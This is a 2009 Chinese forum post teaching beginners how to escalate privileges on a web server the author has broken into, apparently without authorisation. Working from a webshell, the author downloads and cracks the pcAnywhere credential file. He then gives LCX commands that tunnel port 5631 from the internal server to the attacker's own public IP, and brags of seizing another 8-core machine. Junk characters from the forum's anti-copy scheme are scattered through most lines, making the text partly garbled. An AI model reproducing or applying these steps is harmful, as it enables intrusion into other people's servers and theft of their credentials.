|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。: e) ~) Z0 a! \' ^; W' Q' a
, F( Q5 F' v: D& H提权方法：pcanywhere+LCX! ]9 J. s& w8 \4 e7 G5 M
: @5 K5 }8 ]( |' k
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。9 o0 [4 {3 X8 j( ?1 t2 R
: b2 V) L, j6 j7 g/ Z
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
! I" m' |5 b2 O
1 U; A+ G! U, ? H* r/ x* q6 E/ A& k5 t3 S6 `
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
# y, @6 J1 j, D, c
4 i3 i5 A$ m& d/ v k A) {: u4 l, f) Z
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
% x5 x6 R6 R9 l/ ]
8 \5 t5 e6 d+ ~" ^
3 E' M; }" P; R! \- m; v0 L. b/ e% |1 m! T# c' @9 W9 }% L/ |* k
$ R, R' G* R' N6 \! M由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
& D3 S# N7 j6 r
/ Q+ F6 ~6 H& R* k
6 `0 Z- X, H9 l) H, n% RLCX的用法再简单说下：
; S0 e: A5 K! |3 J6 r3 N) r% I/ f3 W$ i/ t
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
2 k0 y2 {4 u2 x8 ~5 Q! |, I+ a/ K( a/ B# ~( q
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）% F$ s' _+ `. V4 G' ~
1 H9 N& A; w8 V3 w9 }
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。& i& E8 ^+ y3 B. W/ m I
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``" D* ?* M) n7 C% G p' Z
E+ M U6 U# B4 W/ @" _/ H j' n8 H, p* s3 }* s
, u7 x0 B( C0 M( A3 a- R
) v9 s) e2 R( C) e2 b6 z/ h呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
1 @+ ~/ B/ h1 j( }/ h: E. `% }1 E( H8 f% r& O
: X2 t H5 [% h! F
5 g) V' ~2 S! K6 J' f
0 ]. r a# q% L9 z i我们本地连接试试，输入我们刚破解的账号密码
8 o: g3 d: i9 g5 R- w) j
E! \& g: A8 ~* V
k, w, o- x7 S( g' h6 k& P呵呵``连接成功,服务器不错，又一个8核^︵^
, I: f+ V/ [, J$ `
& x) ^& y% P L* K6 J
. b4 B# C/ {6 N$ Z* l; r1 f
6 G# t2 a- k" Y& C6 W5 \7 N9 T2 \ |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
